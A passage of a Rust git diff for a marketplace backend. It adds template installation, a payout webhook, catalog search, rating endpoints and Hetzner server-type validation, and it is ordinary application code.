+            key: Some(key.clone()),
+            value: Some(value.clone()),
+        });
+    }
+}
+
+fn normalized_install_inputs(inputs: &Map<String, Value>) -> Map<String, Value> {
+    let mut normalized = inputs.clone();
+    if let Some(value) = normalized.remove("base_domain") {
+        normalized
+            .entry("commonDomain".to_string())
+            .or_insert(value);
+    }
+    if let Some(value) = normalized.remove("domain") {
+        normalized
+            .entry("commonDomain".to_string())
+            .or_insert(value);
+    }
+    normalized
+}
+
+fn attach_install_inputs(request_json: &mut Value, install_inputs: &Map<String, Value>) {
+    if install_inputs.is_empty() {
+        return;
+    }
+    if let Some(custom) = request_json
+        .get_mut("custom")
+        .and_then(|value| value.as_object_mut())
+    {
+        custom.insert(
+            "install_inputs".to_string(),
+            Value::Object(install_inputs.clone()),
+        );
+    }
+}
+
+fn ensure_catalog_application_has_deploy_context(
+    slug: &str,
+    request: &InstallTemplateRequest,
+) -> Result<()> {
+    if request.deploy.is_none() {
+        return Err(JsonResponse::<serde_json::Value>::build().bad_request(format!(
+            "Catalog application '{}' requires deployment context; refusing to create a project without starting a deployment",
+            slug
+        )));
+    }
+
+    Ok(())
+}
+
+async fn install_stack_template(
+    template: models::StackTemplate,
+    latest_version: models::StackTemplateVersion,
+    request: &InstallTemplateRequest,
+    user: &models::User,
+    pg_pool: &PgPool,
+    mq_manager: &MqManager,
+    settings: &Settings,
+    user_service: &Arc<dyn UserServiceConnector>,
+    install_service: &Arc<dyn InstallServiceConnector>,
+    vault_client: &VaultClient,
+) -> Result<InstallTemplateResponse> {
+    services::validate_marketplace_template_access(user_service, user, &template)
+        .await
+        .map_err(map_access_error)?;
+
+    let form = build_project_form(&template, &latest_version, request.name.as_deref())?;
+    let mut request_json = serde_json::to_value(&form).map_err(|err| {
+        tracing::error!("Failed to serialize marketplace project form: {:?}", err);
+        JsonResponse::<serde_json::Value>::build().internal_server_error("Internal Server Error")
+    })?;
+    let install_inputs = normalized_install_inputs(&request.install_inputs);
+    attach_install_inputs(&mut request_json, &install_inputs);
+
+    let mut project = insert_project_from_form(pg_pool, user, &form, request_json).await?;
+    project.source_template_id = Some(template.id);
+    project.template_version = Some(latest_version.version.clone());
+    project = db::project::update(pg_pool, project).await.map_err(|err| {
+        tracing::error!("Failed to update installed template metadata: {}", err);
+        JsonResponse::<serde_json::Value>::build().internal_server_error("Internal Server Error")
+    })?;
+
+    let slug = template.slug.clone();
+    let (project, deployment_id) = maybe_deploy_installed_project(
+        user,
+        project,
+        request.deploy.clone(),
+        &slug,
+        pg_pool,
+        mq_manager,
+        settings,
+        user_service,
+        install_service,
+        vault_client,
+        &install_inputs,
+    )
+    .await?;
+
+    let format = latest_version.definition_format.as_deref().unwrap_or("").to_string();
+    let mut ver_value = serde_json::to_value(latest_version)
+        .unwrap_or_else(|_| serde_json::json!({}));
+    if let Some(sd) = ver_value.get_mut("stack_definition") {
+        if format == "yaml" {
+            if let serde_json::Value::String(yaml) = sd {
+                *yaml = redact_yaml_string(yaml);
+            }
+        } else {
+            redact_sensitive_json_values(sd);
+        }
+    }
+    Ok(InstallTemplateResponse {
+        project,
+        template: serde_json::to_value(template).unwrap_or_else(|_| serde_json::json!({})),
+        latest_version: ver_value,
+        deployment_id,
+    })
+}
+
+async fn install_catalog_application(
+    slug: &str,
+    request: &InstallTemplateRequest,
+    user: &models::User,
+    pg_pool: &PgPool,
+    mq_manager: &MqManager,
+    settings: &Settings,
+    user_service: &Arc<dyn UserServiceConnector>,
+    install_service: &Arc<dyn InstallServiceConnector>,
+    vault_client: &VaultClient,
+) -> Result<InstallTemplateResponse> {
+    ensure_catalog_application_has_deploy_context(slug, request)?;
+
+    let token = user.access_token.as_deref().ok_or_else(|| {
+        JsonResponse::<serde_json::Value>::build()
+            .forbidden("User token is required to install catalog applications")
+    })?;
+
+    let applications = user_service
+        .search_marketplace_templates(token, Some(slug), None, None, Some(1), Some(10))
+        .await
+        .map_err(|err| {
+            tracing::error!(
+                "Catalog application lookup failed for '{}': {:?}",
+                slug,
+                err
+            );
+            JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Catalog application lookup failed")
+        })?;
+
+    let slug_lc = slug.to_ascii_lowercase();
+    let application = applications
+        .into_iter()
+        .find(|application| catalog_application_matches_slug(application, &slug_lc))
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found(format!(
+                "Template or catalog application '{}' was not found",
+                slug
+            ))
+        })?;
+
+    let form = catalog_application_project_form(&application, slug, request.name.as_deref())?;
+    let mut request_json = serde_json::to_value(&form).map_err(|err| {
+        tracing::error!(
+            "Failed to serialize catalog application project form: {:?}",
+            err
+        );
+        JsonResponse::<serde_json::Value>::build().internal_server_error("Internal Server Error")
+    })?;
+    if let Some(custom) = request_json
+        .get_mut("custom")
+        .and_then(|value| value.as_object_mut())
+    {
+        custom.insert("catalog_application".to_string(), application.clone());
+    }
+    let install_inputs = normalized_install_inputs(&request.install_inputs);
+    attach_install_inputs(&mut request_json, &install_inputs);
+
+    let project = insert_project_from_form(pg_pool, user, &form, request_json).await?;
+    let (project, deployment_id) = maybe_deploy_installed_project(
+        user,
+        project,
+        request.deploy.clone(),
+        slug,
+        pg_pool,
+        mq_manager,
+        settings,
+        user_service,
+        install_service,
+        vault_client,
+        &install_inputs,
+    )
+    .await?;
+
+    Ok(InstallTemplateResponse {
+        project,
+        template: application,
+        latest_version: serde_json::json!({
+            "version": "catalog",
+            "stack_definition": null,
+            "rendered_by": "install_service"
+        }),
+        deployment_id,
+    })
+}
+
+fn catalog_application_matches_slug(application: &Value, slug_lc: &str) -> bool {
+    ["code", "slug"].iter().any(|field| {
+        application
+            .get(field)
+            .and_then(|value| value.as_str())
+            .map(|value| value.to_ascii_lowercase() == slug_lc)
+            .unwrap_or(false)
+    })
+}
+
+#[tracing::instrument(name = "Install marketplace template", skip_all)]
+#[post("/{slug}/install")]
+pub async fn install_handler(
+    path: web::Path<(String,)>,
+    request: web::Json<InstallTemplateRequest>,
+    user: web::ReqData<Arc<models::User>>,
+    pg_pool: web::Data<PgPool>,
+    mq_manager: web::Data<MqManager>,
+    settings: web::Data<Settings>,
+    user_service: web::Data<Arc<dyn UserServiceConnector>>,
+    install_service: web::Data<Arc<dyn InstallServiceConnector>>,
+    vault_client: web::Data<VaultClient>,
+) -> Result<impl Responder> {
+    let slug = path.into_inner().0;
+    let response = match db::marketplace::get_by_slug_with_latest(pg_pool.get_ref(), &slug).await {
+        Ok((template, Some(latest_version))) => {
+            install_stack_template(
+                template,
+                latest_version,
+                &request,
+                user.as_ref(),
+                pg_pool.get_ref(),
+                mq_manager.get_ref(),
+                settings.get_ref(),
+                user_service.get_ref(),
+                install_service.get_ref(),
+                vault_client.get_ref(),
+            )
+            .await?
+        }
+        Ok((template, None)) => {
+            return Err(
+                JsonResponse::<serde_json::Value>::build().bad_request(format!(
+                    "Template '{}' has no installable version",
+                    template.slug
+                )),
+            );
+        }
+        Err(_) => {
+            install_catalog_application(
+                &slug,
+                &request,
+                user.as_ref(),
+                pg_pool.get_ref(),
+                mq_manager.get_ref(),
+                settings.get_ref(),
+                user_service.get_ref(),
+                install_service.get_ref(),
+                vault_client.get_ref(),
+            )
+            .await?
+        }
+    };
+
+    let message = if response.deployment_id.is_some() {
+        "Install deployment started"
+    } else {
+        "Template installed"
+    };
+
+    Ok(JsonResponse::build().set_item(response).ok(message))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{
+        build_project_form, catalog_application_project_form,
+        ensure_catalog_application_has_deploy_context,
+    };
+    use crate::{forms::project::Payload, models};
+    use serde_json::{json, Map};
+    use uuid::Uuid;
+
+    fn make_yaml_version() -> models::StackTemplateVersion {
+        models::StackTemplateVersion {
+            id: Uuid::new_v4(),
+            template_id: Uuid::new_v4(),
+            version: "1.0.0".to_string(),
+            stack_definition: json!("version: '3.8'\nservices:\n  app:\n    image: nginx:latest"),
+            config_files: json!([]),
+            assets: json!([]),
+            seed_jobs: json!([]),
+            post_deploy_hooks: json!([]),
+            update_mode_capabilities: None,
+            definition_format: Some("yaml".to_string()),
+            changelog: None,
+            is_latest: Some(true),
+            created_at: None,
+        }
+    }
+
+    #[test]
+    fn yaml_stack_definition_builds_valid_project_form() {
+        let template = models::StackTemplate {
+            slug: "stackdog".to_string(),
+            name: "Stackdog".to_string(),
+            short_description: Some("A monitoring tool".to_string()),
+            category_code: Some("monitoring".to_string()),
+            ..Default::default()
+        };
+        let version = make_yaml_version();
+
+        let form = build_project_form(&template, &version, None)
+            .expect("YAML stack should produce a valid ProjectForm");
+
+        assert_eq!(form.custom.custom_stack_code, "stackdog");
+        assert_eq!(form.custom.project_name, Some("Stackdog".to_string()));
+        assert_eq!(
+            form.custom.custom_stack_short_description,
+            Some("A monitoring tool".to_string())
+        );
+        assert!(form.custom.web.is_empty());
+        assert_eq!(
+            form.custom.service.as_ref().map(|v| v.len()),
+            Some(0)
+        );
+        assert_eq!(
+            form.custom.feature.as_ref().map(|v| v.len()),
+            Some(0)
+        );
+        assert_eq!(
+            form.custom.marketplace_version,
+            Some("1.0.0".to_string())
+        );
+    }
+
+    #[test]
+    fn yaml_stack_definition_embeds_compose_in_config_files() {
+        let template = models::StackTemplate {
+            slug: "stackdog".to_string(),
+            name: "Stackdog".to_string(),
+            ..Default::default()
+        };
+        let version = make_yaml_version();
+
+        let form = build_project_form(&template, &version, None)
+            .expect("YAML stack should produce a valid ProjectForm");
+
+        let config_files: &Vec<serde_json::Value> = form
+            .custom
+            .marketplace_config_files
+            .as_array()
+            .expect("config_files should be an array");
+
+        let has_compose = config_files.iter().any(|f| {
+            f.get("name")
+                .and_then(|n| n.as_str())
+                .map(|n| n.contains("docker-compose") || n.contains("compose"))
+                .unwrap_or(false)
+        });
+        assert!(has_compose, "config_files should contain a compose entry");
+    }
+
+    #[test]
+    fn yaml_stack_definition_respects_requested_name() {
+        let template = models::StackTemplate {
+            slug: "stackdog".to_string(),
+            name: "Stackdog".to_string(),
+            ..Default::default()
+        };
+        let version = make_yaml_version();
+
+        let form = build_project_form(&template, &version, Some("my-instance"))
+            .expect("YAML stack should produce a valid ProjectForm");
+
+        assert_eq!(form.custom.custom_stack_code, "my-instance");
+        assert_eq!(
+            form.custom.project_name,
+            Some("Stackdog".to_string())
+        );
+    }
+
+    #[test]
+    fn catalog_application_project_form_preserves_catalog_context() {
+        let application = json!({
+            "code": "dify",
+            "name": "Dify",
+            "description": "Dify AI application platform",
+            "categories": ["AI"],
+            "is_from_marketplace": true
+        });
+
+        let form = catalog_application_project_form(&application, "dify", None)
+            .expect("catalog application should produce a valid project form");
+        let metadata = serde_json::to_value(&form).expect("form should serialize");
+        let project = models::Project::new(
+            "user-1".to_string(),
+            form.custom.custom_stack_code.clone(),
+            metadata,
+            json!({}),
+        );
+        let payload = Payload::try_from(&project).expect("project metadata should build payload");
+
+        assert_eq!(form.custom.custom_stack_code, "dify");
+        assert_eq!(form.custom.project_name.as_deref(), Some("Dify"));
+        assert_eq!(payload.custom.catalog_application["code"], json!("dify"));
+        assert_eq!(
+            payload.custom.catalog_application["is_from_marketplace"],
+            json!(true)
+        );
+    }
+
+    #[test]
+    fn catalog_application_slug_match_accepts_code_or_slug() {
+        assert!(super::catalog_application_matches_slug(
+            &json!({ "code": "dify" }),
+            "dify"
+        ));
+        assert!(super::catalog_application_matches_slug(
+            &json!({ "slug": "dify" }),
+            "dify"
+        ));
+        assert!(!super::catalog_application_matches_slug(
+            &json!({ "code": "wordpress" }),
+            "dify"
+        ));
+    }
+
+    #[test]
+    fn catalog_application_requires_deploy_context_before_project_creation() {
+        let request = super::InstallTemplateRequest {
+            name: None,
+            deploy: None,
+            install_inputs: Map::new(),
+        };
+
+        assert!(ensure_catalog_application_has_deploy_context("dify", &request).is_err());
+    }
+}
diff --git a/src/routes/marketplace/mod.rs b/src/routes/marketplace/mod.rs
index 5f199286..696c0f6f 100644
--- a/src/routes/marketplace/mod.rs
+++ b/src/routes/marketplace/mod.rs
@@ -2,11 +2,15 @@ pub mod admin;
 pub mod agent;
 pub mod categories;
 pub mod creator;
+pub mod install;
+pub mod payout_webhook;
 pub mod public;
+pub mod search;
+pub mod template_rating;
 
 pub use admin::{
-    approve_handler, list_plans_handler, list_submitted_handler, reject_handler,
-    security_scan_handler, unapprove_handler, AdminDecisionRequest, UnapproveRequest,
+    approve_handler, list_plans_handler, list_submitted_handler, list_vendor_profiles_handler,
+    reject_handler, security_scan_handler, unapprove_handler, AdminDecisionRequest, UnapproveRequest,
 };
 pub use creator::{
     analytics_handler, create_handler, finalize_asset_upload_handler, mine_handler,
@@ -15,4 +19,6 @@ pub use creator::{
     FinalizeAssetRequest, PresignAssetDownloadRequest, PresignAssetUploadRequest, ResubmitRequest,
     UpdateTemplateRequest,
 };
+pub use install::{install_handler, InstallTemplateRequest, InstallTemplateResponse};
 pub use public::TemplateListQuery;
+pub use search::{applications_search_handler, ApplicationSearchQuery};
diff --git a/src/routes/marketplace/payout_webhook.rs b/src/routes/marketplace/payout_webhook.rs
new file mode 100644
index 00000000..24bfd796
--- /dev/null
+++ b/src/routes/marketplace/payout_webhook.rs
@@ -0,0 +1,43 @@
+use crate::db;
+use crate::helpers::JsonResponse;
+use crate::services;
+use actix_web::{post, web, HttpRequest, Responder, Result};
+use sqlx::PgPool;
+use std::sync::Arc;
+
+#[tracing::instrument(name = "Payout provider webhook", skip_all)]
+#[post("/payouts/webhook")]
+pub async fn webhook_handler(
+    req: HttpRequest,
+    body: web::Bytes,
+    pg_pool: web::Data<PgPool>,
+    payout_provider: web::Data<Arc<dyn services::PayoutProvider>>,
+) -> Result<impl Responder> {
+    let signature = req
+        .headers()
+        .get("stripe-signature")
+        .and_then(|value| value.to_str().ok());
+
+    let update = payout_provider
+        .parse_webhook_update(&body, signature)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().bad_request(err.to_string()))?;
+
+    let Some(update) = update else {
+        return Ok(JsonResponse::<serde_json::Value>::build().ok("Webhook ignored"));
+    };
+
+    if update.onboarding_completed {
+        db::marketplace::complete_vendor_onboarding_by_payout_account_ref(
+            pg_pool.get_ref(),
+            &update.provider,
+            &update.account_ref,
+            &format!("{}_webhook", update.event_type),
+            update.payouts_enabled,
+        )
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+    }
+
+    Ok(JsonResponse::<serde_json::Value>::build().ok("Webhook processed"))
+}
diff --git a/src/routes/marketplace/public.rs b/src/routes/marketplace/public.rs
index 35ffa456..c091b948 100644
--- a/src/routes/marketplace/public.rs
+++ b/src/routes/marketplace/public.rs
@@ -1,6 +1,8 @@
 use crate::configuration::Settings;
 use crate::db;
+use crate::helpers::redact::{redact_sensitive_json_values, redact_yaml_string};
 use crate::helpers::JsonResponse;
+use crate::models;
 use actix_web::{get, post, web, HttpRequest, HttpResponse, Responder, Result};
 use sqlx::PgPool;
 
@@ -12,9 +14,11 @@ pub async fn list_handler(
 ) -> Result<impl Responder> {
     let category = query.category.as_deref();
     let tag = query.tag.as_deref();
+    let search = query.q.as_deref();
     let sort = query.sort.as_deref();
+    let limit = query.limit.map(i64::from);
 
-    db::marketplace::list_approved(pg_pool.get_ref(), category, tag, sort)
+    db::marketplace::list_approved(pg_pool.get_ref(), category, tag, search, sort, limit)
         .await
         .map_err(|err| {
             JsonResponse::<Vec<crate::models::StackTemplate>>::build().internal_server_error(err)
@@ -133,7 +137,40 @@ pub async fn download_stack_handler(
 pub struct TemplateListQuery {
     pub category: Option<String>,
     pub tag: Option<String>,
+    pub q: Option<String>,
     pub sort: Option<String>, // recent|popular|rating
+    pub limit: Option<u32>,
+}
+
+#[derive(Debug, serde::Deserialize)]
+pub struct VendorPageQuery {
+    pub sort: Option<String>, // recent|popular|rating
+}
+
+#[tracing::instrument(name = "Get public vendor page", skip_all)]
+#[get("/{vendor}")]
+pub async fn vendor_detail_handler(
+    path: web::Path<(String,)>,
+    query: web::Query<VendorPageQuery>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let identifier = path.into_inner().0;
+    let vendor = db::marketplace::get_public_vendor_profile(pg_pool.get_ref(), &identifier)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| JsonResponse::<serde_json::Value>::build().not_found("Vendor not found"))?;
+
+    let templates = db::marketplace::list_approved_by_creator(
+        pg_pool.get_ref(),
+        &vendor.creator_user_id,
+        query.sort.as_deref(),
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+
+    Ok(JsonResponse::build()
+        .set_item(models::PublicVendorPage { vendor, templates })
+        .ok("OK"))
 }
 
 #[derive(Debug, serde::Deserialize)]
@@ -315,7 +352,15 @@ pub async fn detail_handler(
             let mut payload = serde_json::json!({
                 "template": template,
             });
-            if let Some(ver) = version {
+            if let Some(mut ver) = version {
+                if ver.definition_format.as_deref() == Some("yaml") {
+                    if let serde_json::Value::String(yaml) = &ver.stack_definition {
+                        ver.stack_definition =
+                            serde_json::Value::String(redact_yaml_string(yaml));
+                    }
+                } else {
+                    redact_sensitive_json_values(&mut ver.stack_definition);
+                }
                 payload["latest_version"] = serde_json::to_value(ver).unwrap();
             }
             Ok(JsonResponse::build().set_item(Some(payload)).ok("OK"))
diff --git a/src/routes/marketplace/search.rs b/src/routes/marketplace/search.rs
new file mode 100644
index 00000000..ee41d3dd
--- /dev/null
+++ b/src/routes/marketplace/search.rs
@@ -0,0 +1,115 @@
+use std::collections::HashMap;
+use std::sync::Arc;
+
+use actix_web::{get, web, Responder, Result};
+use sqlx::PgPool;
+
+use crate::connectors::user_service::UserServiceConnector;
+use crate::helpers::JsonResponse;
+use crate::models;
+
+#[derive(Debug, serde::Deserialize)]
+pub struct ApplicationSearchQuery {
+    pub q: Option<String>,
+    pub category: Option<String>,
+    pub is_marketplace: Option<bool>,
+    pub page: Option<u32>,
+    pub limit: Option<u32>,
+}
+
+#[derive(Debug, sqlx::FromRow)]
+struct TemplatePricing {
+    slug: String,
+    price: Option<f64>,
+    billing_cycle: Option<String>,
+    required_plan_name: Option<String>,
+}
+
+async fn enrich_items_with_pricing(
+    pg_pool: &PgPool,
+    items: &mut [serde_json::Value],
+) {
+    let slugs: Vec<String> = items
+        .iter()
+        .filter_map(|item| {
+            item.get("code")
+                .and_then(|v| v.as_str())
+                .map(|s| s.to_string())
+        })
+        .collect();
+
+    if slugs.is_empty() {
+        return;
+    }
+
+    let pricing = sqlx::query_as::<_, TemplatePricing>(
+        r#"
+        SELECT slug, price, billing_cycle, required_plan_name
+        FROM stack_template
+        WHERE slug = ANY($1) AND status = 'approved'
+        "#,
+    )
+    .bind(&slugs)
+    .fetch_all(pg_pool)
+    .await;
+
+    let pricing_map: HashMap<String, TemplatePricing> = match pricing {
+        Ok(rows) => rows.into_iter().map(|r| (r.slug.clone(), r)).collect(),
+        Err(e) => {
+            tracing::warn!("Failed to fetch template pricing: {}", e);
+            return;
+        }
+    };
+
+    for item in items.iter_mut() {
+        let slug = match item.get("code").and_then(|v| v.as_str()) {
+            Some(s) => s,
+            None => continue,
+        };
+        if let Some(p) = pricing_map.get(slug) {
+            if let Some(price) = p.price {
+                item["price"] = serde_json::json!(price);
+            }
+            if let Some(ref cycle) = p.billing_cycle {
+                item["billing_cycle"] = serde_json::json!(cycle);
+            }
+            if let Some(ref plan) = p.required_plan_name {
+                item["required_plan_name"] = serde_json::json!(plan);
+            }
+        }
+    }
+}
+
+#[tracing::instrument(name = "Search marketplace applications catalog", skip_all)]
+#[get("/applications")]
+pub async fn applications_search_handler(
+    query: web::Query<ApplicationSearchQuery>,
+    user: web::ReqData<Arc<models::User>>,
+    user_service: web::Data<Arc<dyn UserServiceConnector>>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let token = user.access_token.as_deref().ok_or_else(|| {
+        JsonResponse::<serde_json::Value>::build()
+            .forbidden("User token is required to search applications")
+    })?;
+
+    let mut items = user_service
+        .search_marketplace_templates(
+            token,
+            query.q.as_deref(),
+            query.category.as_deref(),
+            query.is_marketplace,
+            query.page,
+            query.limit,
+        )
+        .await
+        .map_err(|err| {
+            tracing::error!("Applications catalog search failed: {:?}", err);
+            JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Applications catalog search failed")
+        })?;
+
+    enrich_items_with_pricing(pg_pool.get_ref(), &mut items).await;
+
+    Ok(JsonResponse::build().set_list(items).ok("OK"))
+}
diff --git a/src/routes/marketplace/template_rating.rs b/src/routes/marketplace/template_rating.rs
new file mode 100644
index 00000000..9a6c3386
--- /dev/null
+++ b/src/routes/marketplace/template_rating.rs
@@ -0,0 +1,116 @@
+use crate::db;
+use crate::helpers::JsonResponse;
+use crate::models;
+use actix_web::{delete, get, put, web, Responder, Result};
+use sqlx::PgPool;
+use std::sync::Arc;
+
+#[derive(Debug, serde::Deserialize)]
+pub struct TemplateRatingRequest {
+    pub rating: i32,
+    pub comment: Option<String>,
+}
+
+fn parse_template_id(raw: &str) -> Result<uuid::Uuid> {
+    uuid::Uuid::parse_str(raw).map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))
+}
+
+fn validate_template_rating_request(req: &TemplateRatingRequest) -> Result<()> {
+    if !(1..=5).contains(&req.rating) {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("rating must be between 1 and 5"));
+    }
+
+    if req
+        .comment
+        .as_ref()
+        .map(|comment| comment.chars().count() > 1000)
+        .unwrap_or(false)
+    {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("comment must be at most 1000 characters"));
+    }
+
+    Ok(())
+}
+
+#[tracing::instrument(name = "Get public template rating summary", skip_all)]
+#[get("/{id}/rating/summary")]
+pub async fn summary_handler(
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let template_id = parse_template_id(&path.into_inner().0)?;
+
+    let summary = db::rating::template_summary(pg_pool.get_ref(), &template_id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+        })?;
+
+    Ok(JsonResponse::build().set_item(summary).ok("OK"))
+}
+
+#[tracing::instrument(name = "Get my template rating", skip_all)]
+#[get("/{id}/rating/me")]
+pub async fn my_rating_handler(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let template_id = parse_template_id(&path.into_inner().0)?;
+
+    let rating =
+        db::rating::fetch_template_rating_for_user(pg_pool.get_ref(), &template_id, &user.id)
+            .await
+            .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+            .ok_or_else(|| {
+                JsonResponse::<serde_json::Value>::build().not_found("Rating not found")
+            })?;
+
+    Ok(JsonResponse::build().set_item(rating).ok("OK"))
+}
+
+#[tracing::instrument(name = "Upsert my template rating", skip_all)]
+#[put("/{id}/rating")]
+pub async fn upsert_handler(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+    body: web::Json<TemplateRatingRequest>,
+) -> Result<impl Responder> {
+    let template_id = parse_template_id(&path.into_inner().0)?;
+    let req = body.into_inner();
+    validate_template_rating_request(&req)?;
+
+    let rating = db::rating::upsert_template_rating_for_user(
+        pg_pool.get_ref(),
+        &template_id,
+        &user.id,
+        req.rating,
+        req.comment,
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+    .ok_or_else(|| JsonResponse::<serde_json::Value>::build().not_found("Template not found"))?;
+
+    Ok(JsonResponse::build().set_item(rating).ok("OK"))
+}
+
+#[tracing::instrument(name = "Delete my template rating", skip_all)]
+#[delete("/{id}/rating")]
+pub async fn delete_handler(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let template_id = parse_template_id(&path.into_inner().0)?;
+
+    db::rating::hide_template_rating_for_user(pg_pool.get_ref(), &template_id, &user.id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| JsonResponse::<serde_json::Value>::build().not_found("Rating not found"))?;
+
+    Ok(JsonResponse::<serde_json::Value>::build().ok("Rating deleted"))
+}
diff --git a/src/routes/mod.rs b/src/routes/mod.rs
index 98a3e83d..4f26dc3a 100644
--- a/src/routes/mod.rs
+++ b/src/routes/mod.rs
@@ -32,6 +32,6 @@ pub use marketplace::{
     analytics_handler, approve_handler, create_handler, list_plans_handler, list_submitted_handler,
     mine_handler, my_reviews_handler, reject_handler, resubmit_handler, security_scan_handler,
     submit_handler, unapprove_handler, update_handler, AdminDecisionRequest, AnalyticsQuery,
-    CreateTemplateRequest, ResubmitRequest, TemplateListQuery, UnapproveRequest,
-    UpdateTemplateRequest,
+    ApplicationSearchQuery, CreateTemplateRequest, InstallTemplateRequest, InstallTemplateResponse,
+    ResubmitRequest, TemplateListQuery, UnapproveRequest, UpdateTemplateRequest,
 };
diff --git a/src/routes/project/deploy.rs b/src/routes/project/deploy.rs
index adc09a51..f5d0d52c 100644
--- a/src/routes/project/deploy.rs
+++ b/src/routes/project/deploy.rs
@@ -11,6 +11,7 @@ use crate::models;
 use crate::services;
 use actix_web::{post, web, web::Data, Responder, Result};
 use serde::Deserialize;
+use serde_json;
 use serde_valid::Validate;
 use sqlx::PgPool;
 use std::collections::HashSet;
@@ -41,6 +42,22 @@ fn parse_template_requirements(
     })
 }
 
+fn map_marketplace_access_error(err: services::MarketplaceAccessError) -> actix_web::Error {
+    match err {
+        services::MarketplaceAccessError::ValidationFailed(reason) => {
+            tracing::error!("Failed to validate marketplace access: {}", reason);
+            JsonResponse::<models::Project>::build()
+                .internal_server_error("Failed to validate marketplace access")
+        }
+        services::MarketplaceAccessError::MissingUserToken
+        | services::MarketplaceAccessError::InsufficientFeaturePlan
+        | services::MarketplaceAccessError::InsufficientTemplatePlan { .. }
+        | services::MarketplaceAccessError::TemplateNotOwned => {
+            JsonResponse::<models::Project>::build().forbidden(err.to_string())
+        }
+    }
+}
+
 fn validate_template_target_requirements(
     template: &models::StackTemplate,
     requirements: &models::InfrastructureRequirements,
@@ -188,6 +205,25 @@ fn is_hetzner_provider(provider: &str) -> bool {
     matches!(normalized_provider(provider).as_str(), "htz" | "hetzner")
 }
 
+fn cloud_credentials_missing(cloud: &crate::forms::CloudForm) -> bool {
+    let token_empty = cloud.cloud_token.as_ref().map_or(true, |t| t.is_empty());
+    let key_empty = cloud.cloud_key.as_ref().map_or(true, |k| k.is_empty());
+    let secret_empty = cloud.cloud_secret.as_ref().map_or(true, |s| s.is_empty());
+    token_empty && key_empty && secret_empty
+}
+
+async fn resolve_saved_cloud_for_user(
+    pg_pool: &PgPool,
+    user_id: &str,
+    name: &str,
+) -> Result<Option<models::Cloud>, String> {
+    let clouds = db::cloud::fetch_by_user(pg_pool, user_id).await?;
+    let needle = name.to_ascii_lowercase();
+    Ok(clouds
+        .into_iter()
+        .find(|cloud| cloud.name.to_ascii_lowercase() == needle))
+}
+
 fn server_display_name(server: &models::Server) -> String {
     server
         .name
@@ -233,6 +269,20 @@ struct HetznerIpv4 {
     ip: String,
 }
 
+#[derive(Debug, Deserialize)]
+struct HetznerServerTypesResponse {
+    #[serde(default)]
+    server_types: Vec<HetznerServerTypeEntry>,
+}
+
+#[derive(Debug, Deserialize)]
+struct HetznerServerTypeEntry {
+    name: String,
+    /// Non-null when Hetzner has deprecated this type; value is an ISO-8601 timestamp.
+    #[serde(default)]
+    deprecated: Option<String>,
+}
+
 fn hetzner_api_base_url() -> String {
     std::env::var("STACKER_HETZNER_API_URL")
         .unwrap_or_else(|_| "https://api.hetzner.cloud/v1".to_string())
@@ -397,6 +447,113 @@ async fn validate_reused_cloud_server(
     Ok(())
 }
 
+async fn validate_hetzner_server_type(
+    cloud: &models::Cloud,
+    server_type: &str,
+    region: Option<&str>,
+) -> Result<(), String> {
+    let server_type = server_type.trim();
+    if server_type.is_empty() || !is_hetzner_provider(&cloud.provider) {
+        return Ok(());
+    }
+
+    let cloud = reveal_cloud_credentials(cloud);
+    let token = match cloud
+        .cloud_token
+        .as_deref()
+        .map(str::trim)
+        .filter(|t| !t.is_empty())
+    {
+        Some(t) => t.to_string(),
+        None => return Ok(()),
+    };
+
+    let client = reqwest::Client::builder()
+        .timeout(Duration::from_secs(8))
+        .build()
+        .map_err(|err| format!("Could not initialize Hetzner API client: {}", err))?;
+
+    let url = match region {
+        Some(loc) => format!("{}/server_types?location={}", hetzner_api_base_url(), loc),
+        None => format!("{}/server_types", hetzner_api_base_url()),
+    };
+
+    let response = match client.get(&url).bearer_auth(&token).send().await {
+        Ok(r) => r,
+        Err(err) => {
+            tracing::warn!(
+                "Could not reach Hetzner API to validate server type '{}': {}; proceeding",
+                server_type,
+                err
+            );
+            return Ok(());
+        }
+    };
+
+    if !response.status().is_success() {
+        tracing::warn!(
+            "Hetzner server_types API returned HTTP {}; skipping server type validation",
+            response.status().as_u16()
+        );
+        return Ok(());
+    }
+
+    let body = match response.json::<HetznerServerTypesResponse>().await {
+        Ok(b) => b,
+        Err(err) => {
+            tracing::warn!(
+                "Invalid Hetzner server types response: {}; skipping validation",
+                err
+            );
+            return Ok(());
+        }
+    };
+
+    // Check if the requested type is deprecated before checking availability.
+    if let Some(entry) = body
+        .server_types
+        .iter()
+        .find(|t| t.name.eq_ignore_ascii_case(server_type))
+    {
+        if entry.deprecated.is_some() {
+            let active: Vec<&str> = body
+                .server_types
+                .iter()
+                .filter(|t| t.deprecated.is_none())
